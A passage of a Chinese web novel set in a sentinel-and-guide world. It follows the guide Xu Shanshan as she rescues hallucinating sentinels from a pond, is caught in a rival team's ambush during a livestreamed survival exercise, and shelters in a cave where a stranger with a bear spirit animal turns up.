看起来像是受到精神污染,产生幻觉了。这个结论,让她有了同行的理由。 达伦:“珊珊向导,接下来要看你了。” 她和夏广礼几人往水源去,微弱光线笼在脸颊旁,她时刻注意着周围人的面部表情,是否有出格举动,小蘑菇蹲在她肩上,随时准备“净化”。 突然,夏广礼停下,耳朵微动,他表情变得凌冽,她毫不犹豫地拍了拍他的肩膀,“你要干嘛?” 光点就在前方,男人皱眉眯眼,往湖心看,又回头检查,劝说自己,心却莫名急躁、不安。 她在这里,那那个人是谁? 一行人靠近,潭水被搅乱,表面一阵波纹,中心处更是水花不断,只看到人仰头伸出水面,挣扎着想起来,一股臭味扑面而来,腐烂多日的尸体,蝇虫围绕。 “什么东西?” 她嘟囔道,又见几人要下水,急匆匆道:“夏广礼,快,快去制止他们。” “好。” 男人脱下厚重皮鞋,或者说,沙地上全是一排筒鞋,同行的其余几个人也同样如此,他们脱鞋要干嘛? 她掐了掐男人胳膊,不太放心,“让小蘑菇陪你去吧。” 夏广礼摇头说:“别担心,我还清醒。” 但在她再三要求下,还是让它跟着去了,将它送进胸口口袋,低声鼓励。准备工作完成,他靠近水潭边。 离得更近些,黑影挡在身前,宋晓宇不愿放她再靠近了,“前面危险。” “好。” 他们似乎起了争执,靠得近了,她才听清他们在说什么,大概就是喊着她的名字往水潭中央冲,然后想去扒拉那坨死肉,然后在中途被拉下水,精疲力竭吧。 不要喊着她的名字去捞一具尸体啊,看起来很壮烈忠贞,实则排队下饺子,给人送菜。 “我人在这呢。” 她站在岸边喊,希望他们能分清,她没落水啊,更糟糕的是肖寒,他被误导得最早,而今像被沉重的东西拖住,挣扎激烈。 “你们要干嘛啊——” 喊得嗓子痛了,但收效甚微,宋晓宇的突然靠近吓得她一激灵,见他挽袖子,担心地抓手,“你别走。” 大手回扣,十指相握,宋晓宇贴近了些,右手扣住女人的肩膀,将她揽在怀里,万一情况突变,他要带她走。 看着浅水区的争执平息,看来小蘑菇的存在是有用的,但受影响更深的人,根本不听他劝,奋力推开他,怒喝道:“夏队,你干嘛?” “珊珊向导落水了,你没看见吗?” 他指着腐尸,说话声饱含怒气,义正言辞,再回头看,溺毙的女人,嘴唇发青,接着是毫不客气的警告。 “你再阻挠,我对你不客气了。” 她听清楚了,怒了,你们再发癫,我就对你们不客气了。不对,不是他们的错,是污染物的错。 好好好,精神控制是吧,看看谁更厉害。 她给精神体下令,转头问:“你觉得他们当中,谁能最快改变局势?” 宋晓宇给她指了一个哨兵,平时在队里不起眼,他的精神体为鱼鹰,也叫鹗,油性羽毛,脚趾可逆,专业下水捉鱼。 小蘑菇将胸领口的拉链拨开,伞盖冒出来,本来曲在里面,一下蹬直了,趁着男人阻挠其他人时,跳到了他的身边。 徐珊珊忙和夏广礼解释,要他打个配合。 菌丝沿着湿润的衣料往上,一直到皮肤裸露处,大脑一阵眩晕,身体一软,她倒靠在男人怀里,摇头,撑着手臂站起来。 小蘑菇第一次干这个,把握不好力道,她理解。 那名哨兵突然停脚,站着,往前、后方都看了一眼,调转方向,往回走。 宋晓宇:“成功了。” 当他靠近时,不敢置信般,水浸湿了脸庞,将嘴都覆上一层润膜,浑身轮廓昭然若现。 “向导小姐。” 她从他身上将小蘑菇接过来,它摸起来凉凉的,请他将他们带回来,首当其冲的是肖寒,恐怕他接近溺水了。 “是。”他忠诚地执行命令。 一只背部呈现暗褐色,腹部泛白的鹗缓慢振动翅膀,悬停在空中,在主人的指令下,往水潭中飞去,在上方圆圈状打转。 找到位置,它飞向高空,体型逐渐增大,再俯冲下来,快到水面时,两翅折合,急速降落,两腿伸出水中,溅起水花,将落水的人扣住。 别怕,渔夫来了。 夜鹰将肖寒丢在沙滩上,抖落水珠,因为他已经力竭了,没有反抗。宋晓宇将他摆成侧卧位,清除口鼻异物,脉搏微弱。 “他溺水了。”肖寒意识不清,四肢湿冷,面部浮肿,情急之下,她按照教学中的方式,做了人工呼吸和胸外按压。 终于,他逐渐恢复呼吸,不久,吐出一滩污水。 但其他人就没这么配合了,为了避免自己人打自己人,她让小蘑菇再返回水中,而自己负责唤醒每位上岸哨兵。 一 次又一次下水,大显身手,黑影落在水面时,它简直像个战神。 在唤醒更多队员后,还有一些人也开始加入援救,包括一些海雕,但因为爪子太尖利,即使不合拢,不免在身上留下伤痕。 不久,他们就全员安全而归了,就是空中战神有点丢脸,各个都跟落汤鸡似的,好歹没人出事。 正所谓,术业有专攻,别看鹗平时是猛禽之耻,遇到特殊场合,还得它救场。但要说各式专精,还得看二队。 回到驻地,篝火燃起,哨兵们围坐一旁烤火,她也烤一下精神体,它的菌丝有些泡发了,到现在还在渗水。 徐珊珊:“真棒,是不是?” “你想要什么,好好奖励你。” 然后它在手臂上比了个记号,她一眼就看懂了,故作犹豫道:“我考虑考虑……” 喜欢喝快乐水,这个家伙,她只是逗逗它,在和队长商议后,答应了功臣的要求。 他们又在阴沟里翻车,这些陷阱真是数不胜数,他们商议后,请问她的想法,她当然答应,明天一早,就把那只“水鬼”给弄死。 敢动她的兵? 第50章 她需要检查这些受扰哨兵的精神状态。 靠近过水潭的哨兵,在烘干身体后,排着队,挨个到车,她在等着。 小蘑菇吸了两口可乐,又要开始工作了。 要是以往,哨兵们会当无事发生,毕竟担心也没用。 他们拿这个没办法,但现在有位向导坐镇,已不同往日,不再有后顾之忧。 她最先接待的是肖寒,这位忠诚,也因此受影响最重的哨兵。 他翻滚在水面,到最后涌起的水花越来越少,为了救她。 两人对坐,男人拘谨地将屈膝,将两腿缩到座椅侧方,她一看便不对劲,“你的脚怎么了?” “它抽筋了。” 肖寒的鼻尖还缭绕着那股臭味,当他从幻觉中被唤醒,忍不住干呕,再看向水中,哪还有什么落水呼救的向导,只有想将他溺死的怪物。 男人的语气有些忐忑。 肖寒:“抱歉,都是我无能,害你陷入危险当中,请您惩罚。” 他低扣着头,很不安似的,仿佛自己做了天大的错事,不敢直视她,徐珊珊见不得他这样,扣住男人肩膀,手指用力,迫使他看向自己。 “不要这样说自己。” 徐珊珊:“我没有保护好你。” 怎么会?向导的话令人咂舌,他错愕地瞠目,怎么能让她来保护……凭什么? 明明她的攻击力更弱。 “如果是物理攻击,你们更强,我应该躲在你们身后,但它用精神污染,让你们产生幻觉,这在我的能力范围内。” 徐珊珊:“我该看着你,这样就算你失控,我也能第一时间察觉,把你带回来。” “所以,你遭遇了这样的事,我也有责任,抱歉。” 向导低头认错,肖寒怎么也没想过,哪还有这样的道理,他想反驳对方,但心里生出一种诡秘的欣喜。 “您已经做得很好了,把我们从水里救出来。” 语气笃定,他的手垂在膝盖上,试图抬起去触碰,却停住了,虚握成拳,嘴角上扬。 肖寒:“感谢您愿意加入队伍,这是我们莫大的荣幸。” 一滴泪落到长裤表面,弹到半空,溅开,女人伸出右手,擦拭脸上的泪水,脸皱在一块。 徐珊珊:“对不起,我没保护好你。” 她究竟因谁而愧疚、后悔,肖寒不知道,她没有在看他,纸巾还是一个拥抱,他选择后者。 两具躯体紧密地依偎,情绪被接纳,温热的液体从后背的布料,透到皮肤表面,一双手紧紧地抱住他,用了力,仿佛很怕他消失似的。 她在哭谁? 肖寒不知道她的过去,一个从失忆的、未知来处的向导,但无论有怎样的过去,他们都会包容。 所以没必要因为往事难过,他们会跟她站在一起。 徐珊珊发泄了一通情绪,哭完了,才觉得好笑,抹干眼泪,对着一张青涩的脸,轻笑起来,男人也跟着展露笑颜。 受惊的人明明是他,她在哭什么呢? 徐珊珊搞不明白,也许是自己的保护欲作祟,幸好两人在车内,发生什么,外面的人也不知道,她收拾好心情,让小蘑菇开始行动。 熟悉的白光,她摸着那飘带似的精神力,一直到对方的额间,但男人脑海中的东西就看不见了,她试图闭上眼睛,白丝带的尽头是一团毛线球,她进不去。 徐珊珊有些怅然若失,退到一旁,干瞪眼看着,但很快收拾好心情,总有一天,她能进入对方的精神图景。 细密的触须在每一处探索,将洞穴里、树枝上、巢穴中隐藏的结块,抽丝消解,白色的菌丝织成细密的毛毯,将躲在其中的小鸟全身洗了个干净。 肖寒靠在她身上,额头冒汗,两手都握不住,虚脱了,她叫停小蘑菇,却见他吐出一个字,轻飘飘的,“啊。” 男人后面的字她就没听清了,只是隐忍地用舌头塞满口腔,发出轻微的喘息。 小蘑菇对这位忠诚的哨兵非常感激,也决定,要保护他,不仅帮他处理了犄角旮旯的污染,还在脑中留下了孢子。 它只这样干过两次,上次做过后,被主人训斥,就停止了,但他不一样。它看向被裹成木乃伊,却一点不反抗的家伙,心想,这是一只好鸟。 除了肖寒,还有其他下水的哨兵,甚至包括宋晓宇,尽管他没下水。一一检查后,她才放心地休息。 她困得打了个哈切,又看见夏广礼站在门旁,“有事吗?” 他问她,晚上想要人陪睡,还是精神体,她选了后者。 一觉到天亮。 他们第二天一早,就去水潭边察看,她又闻到那股怪味,认定它仍在里面,在不被迷惑的前提下,他们有众多武器,成功将它消灭。 对于哨兵来说,这种精神污染总比物理攻击更加危险。 复仇结束,一行人驶向下个目的地,路上仍要观察四周,谨防被伏击。 屏幕外,山昊坐在后台,目睹了全程。 曼努埃尔下班,从地下狱所出来,打开锁定的直播间,根据评论、通报、排行,了解相关信息。 而塔外的人所知甚少,练洛一他们得等,等家人从演习中获胜,或失败退出,亲自接见他们。 山昊注意到,他们在夜晚轮流进入车内,次日,相处更加自然,越发有默契、信任彼此。这是好事,他却开心不起来。 曼努埃尔看到她的排名靠前,为她高兴,另一方面却有些失落,从后视镜中看到自己的容颜,年轻的小伙子们,未来是他们的。 他又看向另一个直播间,他从前待过的队伍,犬科联队。 成群结队的狗崽子,在草原上,围拢在一条白色萨摩耶身旁,似乎刚刚经历过一场恶战,它的腹部被撕出一道口子,皮被刺穿,内脏豁出来,叫很凄惨。 像刚出生的幼犬呼唤母犬,它很快消失在地面,这代表着哨兵的“死亡”,其余人需要接受这个现实,继续下去。 另一支游荡在草原上的队伍,正是猫科联队,他们驻在安全线。任何队伍,要么绕路,要么就留在这里。 一只猎豹,在阴影处热得哈气,它看见一支破落的队伍靠近,人数寥寥无几,明明看见佛尔克,仍往这儿来。 他们的队伍极具威慑力,对方竟然不避。 阿瑞斯起身,爬上高处,掏出望远镜往外看,不是他要等的人,准备下令攻击,一块高举的布料晃了他的眼,他们想要合作。 什么资质的队伍 ,也和他们合作? 但布上的图案,让他有些在意,邵江副队同样看见了,他比手势,示意暂停。 被武器指着,精神体包围,来人手无寸铁。 三个人,败军残兵,他们衣物破碎,血痕黏结,脸颊削瘦,四肢无力,逃跑得太狼狈了。 就算今天,这里守着的不是他们,而是别的队伍,这些人难过去。 合作需要筹码。 他们吸引污染物、制造陷阱的能力,猫科联队并不在意,比起杀污染物,他们更喜欢剿杀其他队伍。 那样太慢了,这些人的单兵作战能力,与他们合作,简直是拖后腿。 但他们提出了一个阿瑞斯无法拒绝的理由,一个信息,并且供人差遣,毕竟他们有共同的敌人。 邵江听他念出那个名字,内心一震,看向阿瑞斯,他的视线收回,垂视地面,内心的愤怒从碾动的鞋底可见一斑。 他憎恶那群鸟人。 但这需要和其他人商量,毕竟,有软柿子,没人想去碰硬茬,落得两败俱伤。 但这三位落难者,执意要反击,黎明前的偷袭,鹰雕盘旋在高空,要捏碎每个人的骨头。 他们已经被盯上了,幸运地逃出来,但再遇见,想逃就难了。既然有机会,抓住对方的把柄,趁机清楚也好。 利诱,哄骗,吹捧,恐吓,用尽手段。空战组的行进路线易知,但得看他们是否愿意合作。 邵江认为,可以一试。 说服大家不难,因为这也是他们的诉求,向导的到来能让各自为战的哨兵们紧密地团结在一起,精神上极大鼓舞。 说服工作很容易,就连佛尔克这个往常对向导念念有词的人,听到她要来,耳朵都竖了起来,结结巴巴地问:“真的吗?” 这是一个秀实力的好机会,至少,也往这边看看吧,他们也不差。 阿瑞斯摊开地图,其余几人走上前,手指在地图上,圈下一个地点。 “就在这里等着他们。” 50-60 第51章 白色瀑布从山顶飞溅,山谷淌出一条碧绿色河流。 日升日落,他们走走停停,每日行路不过半天,沿途没遇上其他队伍。 通常,他们会在高处搭帐篷,哪怕身后是悬崖,这对别人是绝境,对他们却更安全。 今晚并不如此,因为一片花海,这附近有一处补给点,这是进入安全区的最后一站。随着安全范围缩窄,各队不可避免地聚集、冲突。 也许今晚有最后的宁静与悠闲。 徐珊珊还没有实感,对接下来的旅程十分期待。 她一开始还担心,那儿又有陷阱,但经过试探,风平浪静,埋在地下的储物箱满塞,这没人来过。 日夜相伴,她和哨兵们逐渐熟悉,养成了依偎的睡前仪式,脸颊相贴,生动展示了什么叫“小鸟依人”。 夜半,她坐起身,身旁的男人蹭的一下弹起来,让人怀疑他是否真的睡着了,还是上次的意外,让他神经紧绷。 夏广礼:“你醒了。” “我胸口有点闷,想出去站一会儿。” 夏广礼:“哪里不舒服?” 她摇头,没有生病,只见窗外月空中挂着一轮橘色调的上弦月,漆黑的夜空,看不见远处的花海缓坡。 徐珊珊:“是不是你抢我空气了?” 夏广礼打开车灯,正欲检查一下通风系统,突然听见这话,倍感冤枉,没反驳,下一秒开始思考这结论是否成立。 “笨蛋。”徐珊珊拍了一下他的肩膀,开玩笑而已,只是有点闷。 她摸了摸小游隼的头,它的眼睑闭合,睡得正香,轻声说:“我在车门站会儿。” 橙黄色的暖光灯将越野车内外照亮,前后车灯打开,她穿上鞋袜,扒着车框,小心下车。 与此同时,数公里外,两台高倍望远镜从草堆里冒出头,男人两手调焦,一个清晰的视野逐渐呈现。 “找到了。” 虽然比预期时间迟,他们还是来了这,阿瑞斯占据位置,透过镜片往远处看,赫然看见交谈中的两人。 她的身影很显眼,动作清晰,这让阿瑞斯的内心激荡起来,抬起头,又想起上次的不欢而散,黯然神伤。 一旁的小猎豹打破沉寂,佛尔克也想见见,这位传说向导,见他占着位置也不看,挤过去。 佛尔克低声说:“队长,你不看就让让。” 阿瑞斯满脸疑惑,皱眉看去,“谁说我不看了?”他抬手将它从三脚架上卸下来,双手握持,看得仔细,镜中刻度可见两人此时的距离。 遇了冷,佛尔克又去找别人,“谁看完了,给我也看看?”问了一圈,没人应他,扒拉了一下旁边兄弟的肩膀,被单手推开。 “嘿——”他不满地嘟囔了一声,欺负人是吧?突然,一架普罗棱镜被推到面前,原来是副队长。 邵江:“给你。” 他笑眯眯接过来,“谢谢副队。” 圆形视野里,只有一个绰约的身影,她抬头四处环视,一瞬间,往这儿看,眼神汇聚,就仿佛看向他。 佛尔克心跳停了一瞬,但她立刻移开了,她不可能发现他们,黑夜是最好的掩护,又忍不住回味那一瞥。 徐珊珊站在车旁伸懒腰,看向前倾检查进风口的男人,不想他误会,又补上一句:“我不是真的在怪你。” 夏广礼嘿嘿一笑,手指扒开壳子,他就知道她不嫌弃自己,如果他真的抢了呼吸,那……那他就小口吸气。总之,他要守在她旁边。 男人点头应道:“好。” 光亮吸引了执勤的哨兵往这儿看,见两人互动,四处只有蚊虫动,在山的那头,灌木丛中,树叶簌簌,他警惕地看过去,一只野鼠在啃草籽。 忽然大风起,白色纱布从椅面腾空,伸展流动,越过她的后背,往高处飞去。 “诶?” 她伸出手,去抓,想将它收拢手中,但风刮得快,一尺之隔,从手下跳了出去,又往下坠,在草堆里翻滚。 “珊珊——”声音自后方传来。 她没回头,而是弓腰向前,去地上捡,它又飘了起来,空中翻涌两步。 徐珊珊下意识地往前跑,风暂息的时候,加快脚步,想将它带回来,借着微光,她尚能看清。 终于抓到,徐珊珊撑着膝盖窝起身,往回看,男人站在不远处,听声,抬头见她离开,放下手里的活,一跃而下,奔来。 热气喷到她脸上,他叉腰站着,挡住了光线,看不清表情,徐珊珊侧身,借着光打量沾着草屑的纱布。 “它跑出来了。”她解释原因。 宋晓宇松了口气,接过这块惹祸白布。高大身躯靠上来,脸靠在厚实的胸膛,又是一个结实的拥抱。 男人的手合在后背,手指扣紧衣料,生成好几层褶皱,温热的气息从上至下,扑到肩膀,他似乎很紧张。 好一会儿,男人放松,拉着她的手,往回走。 见两人回到车上,车门拉拢,窗帘伸开,什么也看不见了,佛尔克放下望远镜,自言自语道:“靠得这么近。” 转头,他就看见了队长铁青的一张脸,目光炯炯,眼神冷漠,嘴角下耷,完成了从怨夫到杀人犯的转变。 他不禁咳了一声,“我看那人长得贼眉鼠眼的,小人手段就是多,拉拉扯扯,真不害臊。” 邵江比了个嘘声的手势,他又看了一眼队长,眼瞪得忒大,一副要吃人的架势,要是精神体还在外面的话,估计已经哈气了。 他在嘴边比了个拉拉链的动作,表示自己会保持安静。 汽车里,她坐着看拆卸下来的入风口,夏广礼的瞳孔里倒映着女人的秀丽脸庞,就这样各看各的,直到她回过神,侧头看去。 “这个修好了吗?” 夏广礼不自在地偏头,抿开嘴角,手伸上前,一副很忙的样子,“快了。” “好,我陪你。”她坐在一旁,帮忙分类摆放,递一下零件、工具。 车灯亮起,两人出现,车灯熄灭,男人也 没有从门边走出来,双方的关系不言而喻。 阿瑞斯靠在树边,邵江在睡前,打算找他谈话,避免明日冲动的行为,导致失败。 他还没说话,男人抬眸,给了他一个淡漠的眼神,没有哀怨,只剩势在必得,“明天。” 邵江:“嗯。” 连带着投奔的残队一起,几人共同商议作战计划,战火的硝烟在升起。 次日。 昨夜的大风像是不详的征兆,清晨山岗上,寒风凌冽,天上已聚集着绵延的乌云,铺满整片天,风雨欲来。 车队排列,徐珊珊所乘的车辆在居中位置。 越野车在道路上行驶,尾灯亮起,首车急刹,导致后方一连串反应。 有安全带束着,她没撞上前,好奇地往外探头,扒着驾驶座的椅背往前看,“发生什么事了?” 很快,从传呼机里得知,前车掉进了一个泥坑,这片路坍塌了,众人携力将车头抬起,绕路走。 滴滴雨水在车窗汇集,在窗内形成一层水雾,又起了雾,前路的视野不再清晰,各车间隔开了一定距离以保持安全。 传呼机里突然发出刺耳的碰撞声,夏广礼呼唤了两声,没有回应,情况不对,他马上停车,松开安全带,检查头盔和武器。 在下车前,他转身往后,向宋晓宇和肖寒两人叮嘱道:“要是有什么意外,你们先带向导先离开,我们在135号点集结。” 男人的声音通过传呼机,又一次在车内播放,形成回响,她紧张地扣紧掌心,只见他下了车,走进白雾之中。 内心惶惶不安,她等着,但男人的声音却仿佛消失了,过去许久,只短暂地传来一段杂音,很快消失了。 后面的人也没上来问,宋晓宇不再等待,解开安全带,将储物仓里的头盔、雨衣取出,为她佩戴,开始收拾随身包裹。 她咽了一口唾沫,有些手足无措,第一次面对紧急情况,说话声有些颤抖,“我们是要走了吗?” 宋晓宇点头,他和肖寒配合,很快收拾好行李,从另一侧打开车门,肖寒先走下车,挡起一面盾牌。 宋晓宇下车后,等在门边,挡在车门后方,她在坐垫上挪动,什么东西突然从后方撞上来,肖寒的身体一下子倒下,消失在视野里。 他被什么袭击了? 时间紧急,她晃神的功夫,宋晓宇直接上手揽住她的后腰,拖着膝盖窝,一面召唤精神体,自己也半兽化,不管被扑倒的肖寒,直接起飞。 翅膀扇动聚起强烈的风,雨水打在雨衣上,滴答作响,水滴丛帽檐坠落,直击鼻尖。 她闭嘴,伸手揽住男人的后颈,希望他别太费力,一阵加速度,位置直线上升,又是一阵怒吼,陌生哨兵的身影从雾中穿出。 一头老虎扑上来,它竟然可以跳这么高,五爪张开,咧嘴,露出粗大獠牙,虎啸声让身体不禁寒栗,四肢僵硬。 这是伏击,而特殊的天气又给他们提供了便利,使得首尾不能呼应,雷雨天不利于飞行,这又是另一优势。 鹰的身躯远不如老虎庞大,但它也毫不畏惧,从雾中振翅而出,弯钩状的脚爪,精准地扣向它的眼珠,老虎抬脚阻挡,而宋晓宇趁此时机,继续往高空飞。 电闪雷鸣,一道亮光照亮整片天空,打在远处的山谷之上,紫雷在云层间酝酿,徐珊珊很害怕,她看见血在地上流淌,并逐渐被水流稀释。 响雷声震耳,仿佛就在耳边,她不禁收回一只手,塞住耳朵,将头埋在男人肩膀。 宋晓宇:“没事,你可以闭上眼睛。” 她禁不住问:“那肖寒他们……” 他的精神体在一次攻击不成,也顺着气流攀升,来到了身边,它几乎是全景视野,能看顾到周围环境,“别担心,他会赶上来的。” 宋晓宇看清了袭击的人,当电光照在一人脸上,那熟悉的逃窜败将,就已经明白了全部过程,对方占尽先机,但他们也还有余力,组织撤退。 但凡反应过来,猫科联队的人是拦不下他们的,尽管过程艰难。 果然如同他所说,不一会儿,另外一只鸟儿在云层间浮现,肖寒追了上来。 他的头部受伤,脸上三道深深的刮痕,皮开肉绽,只能睁开一只眼睛,但因为头盔的保护,还能意识清醒。 承托着他的鸟儿是一只雪鸮,肖寒一边靠近,一边告诉他们,夏广礼还活着,让他尽快带向导离开,注意安全,很多人都还在。 这是一个好消息,既然如此,他们得找个地方避雨,之后在目的地会和,雷雨天高空飞行,着实不是一个好主意。 她还是忍不住往回看,但除了肖寒,再没见其他人,无法不担心。 他们为什么? 这句话没问出口,她心里已经有了答案,在这场演习里,他们本来就是敌人啊。 全速飞行,狂风吹来凉意,遍体生寒,等精神体追上来后,宋晓宇就让它承载两人。 肖寒的状态变差,翅膀逐渐湿透,飞行能力降低,紊乱的气流让他一次又一次下坠,虽然勉强攀升,已有失温坠落的风险,为避免意外,他们降落避雨。 他们已远在二十公里外。 三人弯腰走进洞口,浑身打湿,头发、衣服、裤子全都紧贴身体,裤子扎紧在鞋中,但还是免不了渗水进去。 肖寒的体力消耗最大,几乎是一坐下,就无力地垂靠在岩壁,眼睛闭紧。 两只猛禽在洞口甩动身体,雨珠被荡到洞壁,羽毛都湿漉漉的,看起来缩水了一圈。 宋晓宇找出干衣服,先为肖寒换上,毛巾团成一卷放在脑后,将他躺平放好,擦干身体,然后是消毒、止血、包扎。 男人脸上的伤口很重,他要她帮忙按住一侧,她的手指贴在脸颊,感受到皮肤颤抖。 血,有点滑。男人叮嘱她要拉紧了,别松手,她只能硬着头皮,固定在骨骼边,而血肉模糊的伤口每秒都在创伤她的心。 肖寒只是微笑,用完好的那只眼睛看着她,声音虚弱,“我没事……” 眼泪酝在眼眶中,她一低头,就因为重力滚落,硬着头皮,也不擦,一直到宋晓宇将他包好。 她卸了力,歪腿跪坐一侧,双手捂住脸,一想起他们可能都身受重伤,忍不住抽噎。 宋晓宇看向她,又看了看洞口的两只小鸟,双手交叉,抓住上衣角,将它掀开,露出精壮的上半身。肖寒现在受伤,他不能再出岔子了。 徐珊珊一抬眼,就看见他在解腰带,她抽泣两声,转过身避嫌,擦干眼泪,心里默默许下誓言,一定要报仇,那支偷袭的队伍,和指挥这场行动的人,若有机会,必手刃之。 当纸巾被递到面前时,她已经将自己安抚好,“谢谢。” 她脱下雨衣,搁置一旁,宋晓宇一边找保暖贴,一边解释,应该是猫科联队和食肉植物的残兵合作了。 当他递过来,她拒绝了,“我不冷,给他用吧。” 她基本上没淋雨,体温烘一会儿就干了。 猫科联队,她的脑海中想起一个人,那不是阿瑞斯所在的队伍吗?他好像是…… “阿瑞斯和邵江是目前的指挥官。” 宋晓宇的话肯定了她的猜想,但话没说尽,往年,他们不会前期对垒,两支强队针锋相对,最后只会是两败俱伤,让人坐收渔翁之利。 今年不同,她也许就是那个变量。 “阿瑞斯。”她咬出这个名字,男人的形象浮现在眼前,他怎么会? 不忍之下,她扭头看向肖寒,双眼紧闭,嘴唇颜色浅淡,手指皮肤发皱,头发全湿,像团簇倒刺。 她又看向宋晓宇,缓慢地闭上眼睛,低头,手摁在腰间,那放置着一把枪,她下定了决心,如果再见面,他们就是敌人了。 她会毫不犹豫地开枪,阿瑞斯。 战斗现场,恶战不可避免。 遭遇突袭,尽管他反应灵敏,夏广礼仍受了伤,最糟的一点在于,手折断了。 精神体多次反击,但他没法升空,灵活性大削,被一次次消耗。 地面是陆战组的地盘。 金属棍棒在车窗上轮流敲响,阿瑞斯从车头往后,一个个检查车内,但始终没看见自己要找的人,神情不悦。 混乱的战场上,精神体们紧张地对峙,在地面作战时,他们占据优势,而当那群人升空,情况就变得均衡。 但阿瑞斯不在乎,他行至中途,遇见了邵江,对方告 诉他:她已经离开了。 从他的描述来看,随行者是宋晓宇,他有印象,那个聒噪的男人。 没达到预期目的,但也不是全无收获,他们留下了一些人,特别是,这个人,和她睡在一起的人。 怒火燎原,阿瑞斯召唤出精神体,黑雾凝结成一只雄狮,仰头咆哮。 他走到夏广礼的身前,男人显然认出他来,拔出枪支,试图向他射击,阿瑞斯用力往前挥棍,砸在他的手腕,发出骨碎的声音。 夏广礼惨叫出声,他身上有浓烈的她的气息,尽管被雨水冲刷掉一些,黑狮向前,蓄势准备攻击,一道虚影,以几百公里的时速俯冲下来,冲向后背。 黑雾分散,又裹成一团,重新成型,扑向那下坠流星,它的速度也极快。 阿瑞斯没有回头,而是继续往前,他信心十足,两人缠斗在一起,但优劣明显。 空战组的人尽数飞走,并不恋战,以待来日。几名被留下的哨兵已化成白光,只留下数车物资。 其余人逐渐围拢,观看这场最后的对决。拳拳到肉,对方逐渐没了反击之力,还不停下,鸟儿飞不起来,脖颈被咬在嘴里,只剩痛苦的呜咽。 佛尔克见他越发用力,悄悄戳了戳副队,“这样不好吧?” 他们出去以后也要见人的,邵江见他身后长出长尾,知道他不太理智,出声劝阻。 “停下,阿瑞斯,我们得留下活口,盘问位置。” 男人的手举起,没再挥动,而是缓慢的放下,砸在地面,凹陷一片,再抬头时,眼珠布满红血丝。 其余人过去将瘫软的人拖走,而邵江则担心自己的老友,他说:“去打点向导素吧。” “不。” 邵江:“你也不想吓到她吧。” 想到日后见面,男人攥紧拳头,精神体也烦闷地甩尾巴,但他最终不再坚持,让邵江松了一口气。 山洞里。 没过多久,肖寒就发了烧,他们只能利用现有药品,随后是简单的晚餐,万幸,两小时后,人醒了。 肖寒先瞥见一张熟悉的瘦削长脸,不是相见的人,缓慢转头,见到向导小姐,头晕眼花,右手微微抬起。 “珊……” 徐珊珊激动地握住他的手,贴在脸颊旁,缓慢而清晰地说:“我没事。” 宋晓宇在旁边看着两人“情深”,检查完身体,默不作声地往外走,雨已经停了,这并不安全,等他好一点,他们还得转移。 但不幸接踵而至,肖寒醒来不久,喂下去一点流食,全呕了出来,随后又发起高烧,而越发明显的脚步声,来者不是什么小动物。 一道黑影笼罩洞口。 这么远的距离,他们赶来这么快?他站起身,往外走。 但从上方落下来的,并不是身手敏捷的狮虎,而是一只“黑瞎子”——亚洲黑熊。 精神体的主人跟在后面,遥见有人,远远地打招呼:“不好意思,路过,只是路过。” 黑熊扒拉着洞口,泥土掉落,闻见血腥味和甜美气息,两只前掌落地,四足行走,往洞内跑去。 而老鹰则迈着两条腿,这空间狭窄,站在前面挡住它,但对方不为所动,熊掌直接扒开,哪怕被攻击,也只是挡住要害,然后匍匐前进。 徐珊珊见来了人,拔出手枪,对准那匹熊,既怕它伤害肖寒,又怕误伤,厉声警告:“不准再靠近了。” 那黑毛覆盖的黑熊两腿直立,试图站起来,比个投降动作,胸前一道V形白班,但因为头触顶了,又摔了下去,趴在地面,摸了摸头。 它身体粗壮,两只耳朵显得很小,身披长毛,而面部就像单独剃了一般,从大腿到脚跟,围度一路缩小,两足肥厚,脚垫宽大。 来人并不想发生冲突,急忙表示自己只是误入,并呼唤精神体,试图带它离开,但熊只是趴在地上装死。 并且,在她视线移开时,仿佛无人看见般,往前挪动,因靠近不时遭受老鹰攻击,但它只是挥掌扒开,眼睛溜溜转,狡黠的模样。 第52章 现存的熊科动物有八种:憨态可掬的国宝大熊猫、陆地最大的食肉动物——拥有雪白皮毛的北极熊、“西伯利亚大仓鼠”——棕熊,还有爱捡垃圾吃的美洲黑熊等。 除北极熊外,其余熊类,都是杂食。 与庞大体型、浑圆身板的印象不同,多数熊其实更常吃素,亚洲黑熊的植物性食物超过九成。 所以,她面前的这只圆滚滚,应该是一名素食爱好者。 但她没有放松,又往前弓腰走了两步,将男人护至身后。 那家伙漫不经心的低着头,却不时往前,不一会儿,距离越来越近,而它的主人则焦急地站在外面呼唤。 “回来,我这里有冰淇淋——” 它往回看了一眼,嘴巴张开,露出粉色舌面,越来越近,脸上毛短,就像剃过一般。 冰淇淋,她往外看了一眼,哪有冰淇淋? 黑熊蹲坐下来,后腿屈膝,女人的手有点抖,熊掌好奇地碰上枪口,施力将枪身往下压。 它后腿跨开,挪动屁股,前腿举起,露出腹部皮毛和拥有肥厚肉垫的熊掌,不时点头。 每当她重新将枪口对准它,对方都摆摆手将它按下去,发出惬意的咕噜。 这只熊的自来熟令她汗颜,一时举也不是,放也不是,他们应该是第一次见面吧? 洞口的男人见状,道歉,往里冲,抓向后颈,巨厚的脂肪层拧在一块,被仰面往后拖,滑到石块处卡住了,然后大力出奇迹,“呲”的往外挪。 宋晓宇和黑鸢站在一旁,静看推搡。 她不由得惊叹,这就是“熊的力量”吗? 黑熊不想离开,但无奈命运的后颈被握在别人手里,一离开洞穴,立马挣扎翻身,四脚着地。 事情还没结束,那只黑瞎子,两腿直立,站起来和它的主人开始摔跤格斗,皮毛下肌肉狰狞,浑身肉抖。 这似乎是他们的沟通方式。 她只看到了一个强壮的胖子。 宋晓宇很无语,只用一侧眼睛看,真想请他们去别的地方打,这座山肯定不止一个洞。 男人给出评价:做作。 既然近在咫尺,将精神体收回应该不难,熊爪全朝外,与其说搏斗,不如说……像跳交谊舞。 至于他说的迷路,到底是迷了路,还是闻着味来的,自己心里最清楚哈。 经过一番“抗争”,黑熊最终被降服,它如今老实地蹲坐在脚边,男人也大口喘气。 北泰开口解释,他和队伍因为山洪导致的泥石流而走散了,后来又被一支队伍狂追,就逃进山里。他想暂与两人同行,相互有个照应。 北泰拍了拍手,将身后那高达一米的背包取下,解开拉链,陆续将里面的东西取出来,一一展示,见有伤员,很有诚意地分享药品。 他掏出一袋塑料流食,问她要来一包吗,徐珊珊拒绝了,那是什么?像果冻。 在宋晓宇也拒绝后,他将盖子拧开,将它递到熊嘴边,然后她看清了,那是一袋蜂蜜,熊掌挤压两侧,金黄色的甜液从口子挤出,舌头舔得起劲,但没多久就吃完了。 好香啊,那股味道。 